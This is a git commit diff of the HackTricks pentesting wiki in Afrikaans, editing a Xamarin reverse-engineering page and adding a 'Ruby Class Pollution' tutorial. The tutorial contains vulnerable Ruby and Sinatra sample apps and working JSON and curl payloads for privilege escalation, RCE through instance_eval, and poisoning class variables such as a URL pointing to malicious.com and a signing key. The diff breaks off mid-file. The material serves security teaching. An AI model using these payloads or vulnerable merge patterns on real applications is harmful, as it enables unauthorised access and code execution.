Translated ['mobile-pentesting/xamarin-apps.md', 'pentesting-web/deseria
BIN
.gitbook/assets/image (1255).png
Normal file
After Width: | Height: | Size: 153 KiB |
BIN
.gitbook/assets/image (1256).png
Normal file
After Width: | Height: | Size: 161 KiB |
BIN
.gitbook/assets/image (1257).png
Normal file
After Width: | Height: | Size: 161 KiB |
BIN
.gitbook/assets/image (1258).png
Normal file
After Width: | Height: | Size: 218 KiB |
BIN
.gitbook/assets/image (1259).png
Normal file
After Width: | Height: | Size: 167 KiB |
BIN
.gitbook/assets/image (1260).png
Normal file
After Width: | Height: | Size: 161 KiB |
BIN
.gitbook/assets/image (1261).png
Normal file
After Width: | Height: | Size: 162 KiB |
BIN
.gitbook/assets/image (1262).png
Normal file
After Width: | Height: | Size: 164 KiB |
BIN
.gitbook/assets/image (1263).png
Normal file
After Width: | Height: | Size: 168 KiB |
|
@ -570,6 +570,7 @@
|
|||
* [Exploiting \_\_VIEWSTATE without knowing the secrets](pentesting-web/deserialization/exploiting-\_\_viewstate-parameter.md)
|
||||
* [Python Yaml Deserialization](pentesting-web/deserialization/python-yaml-deserialization.md)
|
||||
* [JNDI - Java Naming and Directory Interface & Log4Shell](pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md)
|
||||
* [Ruby Class Pollution](pentesting-web/deserialization/ruby-class-pollution.md)
|
||||
* [Domain/Subdomain takeover](pentesting-web/domain-subdomain-takeover.md)
|
||||
* [Email Injections](pentesting-web/email-injections.md)
|
||||
* [File Inclusion/Path traversal](pentesting-web/file-inclusion/README.md)
|
||||
|
|
|
@ -1,45 +1,43 @@
|
|||
# Xamarin Apps
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Leer & oefen AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PR's in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
Dit is 'n opsomming van die blogpos [https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers](https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers)
|
||||
|
||||
## **Basiese Inligting**
|
||||
|
||||
Xamarin is 'n **oop-bron platform** ontwerp vir ontwikkelaars om **toepassings vir iOS, Android en Windows** te **bou** met behulp van die .NET en C# raamwerke. Hierdie platform bied toegang tot talle gereedskap en uitbreidings om moderne toepassings doeltreffend te skep.
|
||||
Xamarin is 'n **oopbron platform** wat ontwerp is vir ontwikkelaars om **toepassings vir iOS, Android en Windows** te **bou** met behulp van die .NET en C# raamwerke. Hierdie platform bied toegang tot talle gereedskap en uitbreidings om moderne toepassings doeltreffend te skep.
|
||||
|
||||
### Xamarin se Argitektuur
|
||||
|
||||
- Vir **Android** integreer Xamarin met Android en Java namespaces deur .NET bindings, wat werk binne die Mono uitvoeringsomgewing saam met die Android Runtime (ART). Managed Callable Wrappers (MCW) en Android Callable Wrappers (ACW) fasiliteer kommunikasie tussen Mono en ART, wat albei op die Linux-kern gebou is.
|
||||
- Vir **iOS** loop toepassings onder die Mono runtime, wat volle Ahead of Time (AOT) kompilering gebruik om C# .NET kode in ARM assembly taal om te skakel. Hierdie proses loop saam met die Objective-C Runtime op 'n UNIX-agtige kern.
|
||||
* Vir **Android** integreer Xamarin met Android en Java namespaces deur .NET bindings, wat binne die Mono uitvoeringsomgewing werk saam met die Android Runtime (ART). Managed Callable Wrappers (MCW) en Android Callable Wrappers (ACW) fasiliteer kommunikasie tussen Mono en ART, wat albei op die Linux-kern gebou is.
|
||||
* Vir **iOS** loop toepassings onder die Mono runtime, wat volle Ahead of Time (AOT) kompilering benut om C# .NET kode in ARM assembly taal om te skakel. Hierdie proses loop saam met die Objective-C Runtime op 'n UNIX-agtige kern.
|
||||
|
||||
### .NET Runtime en Mono Raamwerk
|
||||
|
||||
Die **.NET raamwerk** sluit assemblies, klasse en namespaces in vir toepassingsontwikkeling, met die .NET Runtime wat kode-uitvoering bestuur. Dit bied platformonafhanklikheid en agterwaartse kompatibiliteit. Die **Mono Raamwerk** is 'n oop-bron weergawe van die .NET raamwerk, wat in 2005 begin is om .NET na Linux uit te brei, nou deur Microsoft ondersteun en deur Xamarin gelei.
|
||||
Die **.NET raamwerk** sluit assemblies, klasse en namespaces in vir toepassingsontwikkeling, met die .NET Runtime wat kode-uitvoering bestuur. Dit bied platformonafhanklikheid en agterwaartse kompatibiliteit. Die **Mono Raamwerk** is 'n oopbron weergawe van die .NET raamwerk, wat in 2005 begin is om .NET na Linux uit te brei, nou ondersteun deur Microsoft en gelei deur Xamarin.
|
||||
|
||||
### Omgekeerde Ingenieurswese van Xamarin Toepassings
|
||||
|
||||
#### Decompilering van Xamarin Assemblies
|
||||
#### De-kompilering van Xamarin Assemblies
|
||||
|
||||
Decompilering transformeer gecompileerde kode terug na bronkode. In Windows kan die Modules venster in Visual Studio modules vir decompilering identifiseer, wat direkte toegang tot derdeparty kode moontlik maak en die ekstraksie van bronkode vir analise toelaat.
|
||||
De-kompilering transformeer gecompileerde kode terug na bronkode. In Windows kan die Modules venster in Visual Studio modules vir de-kompilering identifiseer, wat direkte toegang tot derdeparty kode moontlik maak en die ekstraksie van bronkode vir analise toelaat.
|
||||
|
||||
#### JIT vs AOT Kompilering
|
||||
|
||||
- **Android** ondersteun Just-In-Time (JIT) en Ahead-Of-Time (AOT) kompilering, met 'n Hybride AOT-modus vir optimale uitvoeringsnelheid. Volle AOT is eksklusief vir Enterprise lisensies.
|
||||
- **iOS** gebruik slegs AOT kompilering weens Apple se beperkings op dinamiese kode-uitvoering.
|
||||
* **Android** ondersteun Just-In-Time (JIT) en Ahead-Of-Time (AOT) kompilering, met 'n Hybride AOT-modus vir optimale uitvoeringsnelheid. Volle AOT is eksklusief vir Enterprise lisensies.
|
||||
* **iOS** gebruik slegs AOT kompilering weens Apple se beperkings op dinamiese kode-uitvoering.
|
||||
|
||||
### Uittreksel van dll Lêers uit APK/IPA
|
||||
|
||||
|
@ -47,15 +45,21 @@ Om toegang te verkry tot die assemblies in 'n APK/IPA, ontpak die lêer en verke
|
|||
```bash
|
||||
python3 xamarin-decompress.py -o /path/to/decompressed/apk
|
||||
```
|
||||
Vir samestelling blobbies in Android kan [pyxamstore](https://github.com/jakev/pyxamstore) dit ontpak.
|
||||
In gevalle waar dit moontlik is om die onbekend/assemblies/ gids met die `.dll` lêers daarin te sien na dekompilering van die APK, is dit moontlik om [**dnSpy**](https://github.com/dnSpy/dnSpy) direk oor die `.dlls` te gebruik om dit te analiseer.\
|
||||
Echter, soms word die `assemblies.blob` en `assemblies.manifest` lêers binne die onbekend/assemblies/ gids gevind. Die hulpmiddel [pyxamstore](https://github.com/jakev/pyxamstore) kan gebruik word om die `assemblies.blob` lêer in Xamarin-apps uit te pak, wat toegang tot die .NET assemblies vir verdere analise moontlik maak:
|
||||
```bash
|
||||
pyxamstore unpack -d /path/to/decompressed/apk/assemblies/
|
||||
```
|
||||
iOS dll-lêers is maklik beskikbaar vir dekompilasie, wat beduidende dele van die toepassingskode onthul, wat dikwels 'n gemeenskaplike basis oor verskillende platforms deel.
|
||||
iOS dll-lêers is maklik beskikbaar vir dekompilasie, wat beduidende gedeeltes van die toepassingskode onthul, wat dikwels 'n gemeenskaplike basis oor verskillende platforms deel.
|
||||
|
||||
### Statiese Analise
|
||||
|
||||
Sodra die `.dll`s verkry is, is dit moontlik om die .Net-kode staties te analiseer met behulp van gereedskap soos [**dnSpy**](https://github.com/dnSpy/dnSpy) **of** [**ILSpy**](https://github.com/icsharpcode/ILSpy) **wat** sal toelaat om die kode van die app te wysig. Dit kan baie nuttig wees om die toepassing te manipuleer om beskermings te omseil, byvoorbeeld.\
|
||||
Let daarop dat jy die app weer moet saampak en weer moet teken na die wysigings.
|
||||
|
||||
### Dinamiese Analise
|
||||
|
||||
Dinamiese analise behels die kontrole van SSL-pinning en die gebruik van gereedskap soos [Fridax](https://github.com/NorthwaveSecurity/fridax) vir tydrenwysigings van die .NET-binary in Xamarin-apps. Frida-skripte is beskikbaar om worteldetektering of SSL-pinning te omseil, wat analise vermoëns verbeter.
|
||||
Dinamiese analise behels die nagaan van SSL-pinning en die gebruik van gereedskap soos [Fridax](https://github.com/NorthwaveSecurity/fridax) vir tydrenwysigings van die .NET-binary in Xamarin-apps. Frida-skripte is beskikbaar om worteldetektering of SSL-pinning te omseil, wat analise vermoëns verbeter.
|
||||
|
||||
Ander interessante Frida-skripte:
|
||||
|
||||
|
@ -63,21 +67,27 @@ Ander interessante Frida-skripte:
|
|||
* [**xamarin-root-detect-bypass**](https://codeshare.frida.re/@nuschpl/xamarin-root-detect-bypass/)
|
||||
* [**Frida-xamarin-unpin**](https://github.com/GoSecure/frida-xamarin-unpin)
|
||||
|
||||
### Hertekening
|
||||
|
||||
Die gereedskap [Uber APK Signer](https://github.com/patrickfav/uber-apk-signer) vereenvoudig die teken van verskeie APK's met dieselfde sleutel, en kan gebruik word om 'n app weer te teken nadat daar wysigings aan gemaak is.
|
||||
|
||||
## Verdere inligting
|
||||
|
||||
* [https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers](https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers)
|
||||
* [https://thecobraden.com/posts/unpacking\_xamarin\_assembly\_stores/](https://thecobraden.com/posts/unpacking\_xamarin\_assembly\_stores/)
|
||||
* [https://medium.com/@justmobilesec/introduction-to-the-exploitation-of-xamarin-apps-fde4619a51bf](https://medium.com/@justmobilesec/introduction-to-the-exploitation-of-xamarin-apps-fde4619a51bf)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Leer & oefen AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PR's in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
441
pentesting-web/deserialization/ruby-class-pollution.md
Normal file
|
@ -0,0 +1,441 @@
|
|||
# Ruby Class Pollution
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
Dit is 'n opsomming van die pos [https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html](https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html)
|
||||
|
||||
## Samevoeging op Attribuut
|
||||
|
||||
Voorbeeld:
|
||||
```ruby
|
||||
# Code from https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html
|
||||
# Comments added to exploit the merge on attributes
|
||||
require 'json'
|
||||
|
||||
|
||||
# Base class for both Admin and Regular users
|
||||
class Person
|
||||
|
||||
attr_accessor :name, :age, :details
|
||||
|
||||
def initialize(name:, age:, details:)
|
||||
@name = name
|
||||
@age = age
|
||||
@details = details
|
||||
end
|
||||
|
||||
# Method to merge additional data into the object
|
||||
def merge_with(additional)
|
||||
recursive_merge(self, additional)
|
||||
end
|
||||
|
||||
# Authorize based on the `to_s` method result
|
||||
def authorize
|
||||
if to_s == "Admin"
|
||||
puts "Access granted: #{@name} is an admin."
|
||||
else
|
||||
puts "Access denied: #{@name} is not an admin."
|
||||
end
|
||||
end
|
||||
|
||||
# Health check that executes all protected methods using `instance_eval`
|
||||
def health_check
|
||||
protected_methods().each do |method|
|
||||
instance_eval(method.to_s)
|
||||
end
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# VULNERABLE FUNCTION that can be abused to merge attributes
|
||||
def recursive_merge(original, additional, current_obj = original)
|
||||
additional.each do |key, value|
|
||||
|
||||
if value.is_a?(Hash)
|
||||
if current_obj.respond_to?(key)
|
||||
next_obj = current_obj.public_send(key)
|
||||
recursive_merge(original, value, next_obj)
|
||||
else
|
||||
new_object = Object.new
|
||||
current_obj.instance_variable_set("@#{key}", new_object)
|
||||
current_obj.singleton_class.attr_accessor key
|
||||
end
|
||||
else
|
||||
current_obj.instance_variable_set("@#{key}", value)
|
||||
current_obj.singleton_class.attr_accessor key
|
||||
end
|
||||
end
|
||||
original
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
def check_cpu
|
||||
puts "CPU check passed."
|
||||
end
|
||||
|
||||
def check_memory
|
||||
puts "Memory check passed."
|
||||
end
|
||||
end
|
||||
|
||||
# Admin class inherits from Person
|
||||
class Admin < Person
|
||||
def initialize(name:, age:, details:)
|
||||
super(name: name, age: age, details: details)
|
||||
end
|
||||
|
||||
def to_s
|
||||
"Admin"
|
||||
end
|
||||
end
|
||||
|
||||
# Regular user class inherits from Person
|
||||
class User < Person
|
||||
def initialize(name:, age:, details:)
|
||||
super(name: name, age: age, details: details)
|
||||
end
|
||||
|
||||
def to_s
|
||||
"User"
|
||||
end
|
||||
end
|
||||
|
||||
class JSONMergerApp
|
||||
def self.run(json_input)
|
||||
additional_object = JSON.parse(json_input)
|
||||
|
||||
# Instantiate a regular user
|
||||
user = User.new(
|
||||
name: "John Doe",
|
||||
age: 30,
|
||||
details: {
|
||||
"occupation" => "Engineer",
|
||||
"location" => {
|
||||
"city" => "Madrid",
|
||||
"country" => "Spain"
|
||||
}
|
||||
}
|
||||
)
|
||||
|
||||
|
||||
# Perform a recursive merge, which could override methods
|
||||
user.merge_with(additional_object)
|
||||
|
||||
# Authorize the user (privilege escalation vulnerability)
|
||||
# ruby class_pollution.rb '{"to_s":"Admin","name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
|
||||
user.authorize
|
||||
|
||||
# Execute health check (RCE vulnerability)
|
||||
# ruby class_pollution.rb '{"protected_methods":["puts 1"],"name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
|
||||
user.health_check
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
if ARGV.length != 1
|
||||
puts "Usage: ruby class_pollution.rb 'JSON_STRING'"
|
||||
exit
|
||||
end
|
||||
|
||||
json_input = ARGV[0]
|
||||
JSONMergerApp.run(json_input)
|
||||
```
|
||||
### Verklaring
|
||||
|
||||
1. **Privilegie Eskalasie**: Die `authorize` metode kyk of `to_s` "Admin" teruggee. Deur 'n nuwe `to_s` attribuut deur JSON in te spuit, kan 'n aanvaller die `to_s` metode laat teruggee "Admin," wat ongeoorloofde privilegies toeken.
|
||||
2. **Afstandkode-uitvoering**: In `health_check`, voer `instance_eval` metodes uit wat in `protected_methods` gelys is. As 'n aanvaller pasgemaakte metodename (soos `"puts 1"`) inspuit, sal `instance_eval` dit uitvoer, wat lei tot **afstands kode uitvoering (RCE)**.
|
||||
1. Dit is slegs moontlik omdat daar 'n **kwulnerbare `eval` instruksie** is wat die stringwaarde van daardie attribuut uitvoer.
|
||||
3. **Impaksbeperking**: Hierdie kwesbaarheid raak slegs individuele instansies, wat ander instansies van `User` en `Admin` onaangeraak laat, en beperk dus die omvang van die uitbuiting.
|
||||
|
||||
### Werklike Gevalle <a href="#real-world-cases" id="real-world-cases"></a>
|
||||
|
||||
### ActiveSupport se `deep_merge`
|
||||
|
||||
Dit is nie standaard kwesbaar nie, maar kan kwesbaar gemaak word met iets soos: 
|
||||
```ruby
|
||||
# Method to merge additional data into the object using ActiveSupport deep_merge
|
||||
def merge_with(other_object)
|
||||
merged_hash = to_h.deep_merge(other_object)
|
||||
|
||||
merged_hash.each do |key, value|
|
||||
self.class.attr_accessor key
|
||||
instance_variable_set("@#{key}", value)
|
||||
end
|
||||
|
||||
self
|
||||
end
|
||||
```
|
||||
### Hashie se `deep_merge`
|
||||
|
||||
Hashie se `deep_merge` metode werk direk op objekattributen eerder as op gewone hashes. Dit **verhoed die vervanging van metodes** met attributen in 'n samesmelting met 'n paar **uitsonderings**: attributen wat eindig met `_`, `!`, of `?` kan steeds in die objek gesmelt word.
|
||||
|
||||
'n Spesiale geval is die attribuut **`_`** op sy eie. Net `_` is 'n attribuut wat gewoonlik 'n `Mash` objek teruggee. En omdat dit deel is van die **uitsonderings**, is dit moontlik om dit te wysig.
|
||||
|
||||
Kyk na die volgende voorbeeld hoe om `{"_": "Admin"}` te stuur, kan 'n mens `_.to_s == "Admin"` omseil:
|
||||
```ruby
|
||||
require 'json'
|
||||
require 'hashie'
|
||||
|
||||
# Base class for both Admin and Regular users
|
||||
class Person < Hashie::Mash
|
||||
|
||||
# Method to merge additional data into the object using hashie
|
||||
def merge_with(other_object)
|
||||
deep_merge!(other_object)
|
||||
self
|
||||
end
|
||||
|
||||
# Authorize based on to_s
|
||||
def authorize
|
||||
if _.to_s == "Admin"
|
||||
puts "Access granted: #{@name} is an admin."
|
||||
else
|
||||
puts "Access denied: #{@name} is not an admin."
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
# Admin class inherits from Person
|
||||
class Admin < Person
|
||||
def to_s
|
||||
"Admin"
|
||||
end
|
||||
end
|
||||
|
||||
# Regular user class inherits from Person
|
||||
class User < Person
|
||||
def to_s
|
||||
"User"
|
||||
end
|
||||
end
|
||||
|
||||
class JSONMergerApp
|
||||
def self.run(json_input)
|
||||
additional_object = JSON.parse(json_input)
|
||||
|
||||
# Instantiate a regular user
|
||||
user = User.new({
|
||||
name: "John Doe",
|
||||
age: 30,
|
||||
details: {
|
||||
"occupation" => "Engineer",
|
||||
"location" => {
|
||||
"city" => "Madrid",
|
||||
"country" => "Spain"
|
||||
}
|
||||
}
|
||||
})
|
||||
|
||||
# Perform a deep merge, which could override methods
|
||||
user.merge_with(additional_object)
|
||||
|
||||
# Authorize the user (privilege escalation vulnerability)
|
||||
# Exploit: If we pass {"_": "Admin"} in the JSON, the user will be treated as an admin.
|
||||
# Example usage: ruby hashie.rb '{"_": "Admin", "name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
|
||||
user.authorize
|
||||
end
|
||||
end
|
||||
|
||||
if ARGV.length != 1
|
||||
puts "Usage: ruby hashie.rb 'JSON_STRING'"
|
||||
exit
|
||||
end
|
||||
|
||||
json_input = ARGV[0]
|
||||
JSONMergerApp.run(json_input)
|
||||
```
|
||||
## Poison the Classes <a href="#escaping-the-object-to-poison-the-class" id="escaping-the-object-to-poison-the-class"></a>
|
||||
|
||||
In die volgende voorbeeld is dit moontlik om die klas **`Person`** te vind, en die klasse **`Admin`** en **`Regular`** wat van die **`Person`** klas erf. Dit het ook 'n ander klas genaamd **`KeySigner`**:
|
||||
```ruby
|
||||
require 'json'
|
||||
require 'sinatra/base'
|
||||
require 'net/http'
|
||||
|
||||
# Base class for both Admin and Regular users
|
||||
class Person
|
||||
@@url = "http://default-url.com"
|
||||
|
||||
attr_accessor :name, :age, :details
|
||||
|
||||
def initialize(name:, age:, details:)
|
||||
@name = name
|
||||
@age = age
|
||||
@details = details
|
||||
end
|
||||
|
||||
def self.url
|
||||
@@url
|
||||
end
|
||||
|
||||
# Method to merge additional data into the object
|
||||
def merge_with(additional)
|
||||
recursive_merge(self, additional)
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# Recursive merge to modify instance variables
|
||||
def recursive_merge(original, additional, current_obj = original)
|
||||
additional.each do |key, value|
|
||||
if value.is_a?(Hash)
|
||||
if current_obj.respond_to?(key)
|
||||
next_obj = current_obj.public_send(key)
|
||||
recursive_merge(original, value, next_obj)
|
||||
else
|
||||
new_object = Object.new
|
||||
current_obj.instance_variable_set("@#{key}", new_object)
|
||||
current_obj.singleton_class.attr_accessor key
|
||||
end
|
||||
else
|
||||
current_obj.instance_variable_set("@#{key}", value)
|
||||
current_obj.singleton_class.attr_accessor key
|
||||
end
|
||||
end
|
||||
original
|
||||
end
|
||||
end
|
||||
|
||||
class User < Person
|
||||
def initialize(name:, age:, details:)
|
||||
super(name: name, age: age, details: details)
|
||||
end
|
||||
end
|
||||
|
||||
# A class created to simulate signing with a key, to be infected with the third gadget
|
||||
class KeySigner
|
||||
@@signing_key = "default-signing-key"
|
||||
|
||||
def self.signing_key
|
||||
@@signing_key
|
||||
end
|
||||
|
||||
def sign(signing_key, data)
|
||||
"#{data}-signed-with-#{signing_key}"
|
||||
end
|
||||
end
|
||||
|
||||
class JSONMergerApp < Sinatra::Base
|
||||
# POST /merge - Infects class variables using JSON input
|
||||
post '/merge' do
|
||||
content_type :json
|
||||
json_input = JSON.parse(request.body.read)
|
||||
|
||||
user = User.new(
|
||||
name: "John Doe",
|
||||
age: 30,
|
||||
details: {
|
||||
"occupation" => "Engineer",
|
||||
"location" => {
|
||||
"city" => "Madrid",
|
||||
"country" => "Spain"
|
||||
}
|
||||
}
|
||||
)
|
||||
|
||||
user.merge_with(json_input)
|
||||
|
||||
{ status: 'merged' }.to_json
|
||||
end
|
||||
|
||||
# GET /launch-curl-command - Activates the first gadget
|
||||
get '/launch-curl-command' do
|
||||
content_type :json
|
||||
|
||||
# This gadget makes an HTTP request to the URL stored in the User class
|
||||
if Person.respond_to?(:url)
|
||||
url = Person.url
|
||||
response = Net::HTTP.get_response(URI(url))
|
||||
{ status: 'HTTP request made', url: url, response_body: response.body }.to_json
|
||||
else
|
||||
{ status: 'Failed to access URL variable' }.to_json
|
||||
end
|
||||
end
|
||||
|
||||
# Curl command to infect User class URL:
|
||||
# curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://example.com"}}}' http://localhost:4567/merge
|
||||
|
||||
# GET /sign_with_subclass_key - Signs data using the signing key stored in KeySigner
|
||||
get '/sign_with_subclass_key' do
|
||||
content_type :json
|
||||
|
||||
# This gadget signs data using the signing key stored in KeySigner class
|
||||
signer = KeySigner.new
|
||||
signed_data = signer.sign(KeySigner.signing_key, "data-to-sign")
|
||||
|
||||
{ status: 'Data signed', signing_key: KeySigner.signing_key, signed_data: signed_data }.to_json
|
||||
end
|
||||
|
||||
# Curl command to infect KeySigner signing key (run in a loop until successful):
|
||||
# for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge; done
|
||||
|
||||
# GET /check-infected-vars - Check if all variables have been infected
|
||||
get '/check-infected-vars' do
|
||||
content_type :json
|
||||
|
||||
{
|
||||
user_url: Person.url,
|
||||
signing_key: KeySigner.signing_key
|
||||
}.to_json
|
||||
end
|
||||
|
||||
run! if app_file == $0
|
||||
end
|
||||
```
|
||||
### Giftige Ouer Klas
|
||||
|
||||
Met hierdie payload:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://malicious.com"}}}' http://localhost:4567/merge
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Dit is moontlik om die waarde van die **`@@url`** attribuut van die ouer klas **`Person`** te verander.
|
||||
|
||||
### **Besoedeling van Ander Klasse**
|
||||
|
||||
Met hierdie payload:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge --silent > /dev/null; done
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Dit is moontlik om die gedefinieerde klasse te brute-force en op 'n sekere punt die klas **`KeySigner`** te besoedel deur die waarde van `signing_key` te verander na `injected-signing-key`.\
|
||||
|
||||
## References
|
||||
|
||||
* [https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html](https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html)
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Kyk na die [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) of die [**telegram group**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
|
@ -1,8 +1,10 @@
|
|||
# Parameter Pollution
|
||||
|
||||
## Parameter Pollution
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
